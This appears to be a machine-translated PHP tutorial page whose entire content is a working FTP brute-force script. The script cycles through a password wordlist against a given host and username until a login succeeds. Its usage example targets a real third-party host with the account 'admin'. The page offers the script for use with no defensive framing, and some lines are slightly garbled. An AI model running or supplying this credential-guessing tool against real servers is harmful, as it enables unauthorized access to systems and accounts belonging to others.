Home >Backend Development >PHP Tutorial >FTP violent PHP version_PHP tutorial
$site = $argv[1];
$username = $argv[2];
$list = $argv[3];
if((isset ($site)) AND (isset($list)) AND (isset($username))){
if (file_exists($list)){
$list = file($ list);
$connection = ftp_connect($site) or die("Failed to establish connection to $site");
foreach($list as $passwd){
if (@ftp_login($connection, $username, $passwd)){
die(" [Success] - $passwd");
} else {
print "[Failed] - $passwd
";
}
}
ftp_close($connection);
} else
die("Brute force absent list");
} else
die("Us php
Examples php brute.php ftp.google.it admin /root/list.txt");
?>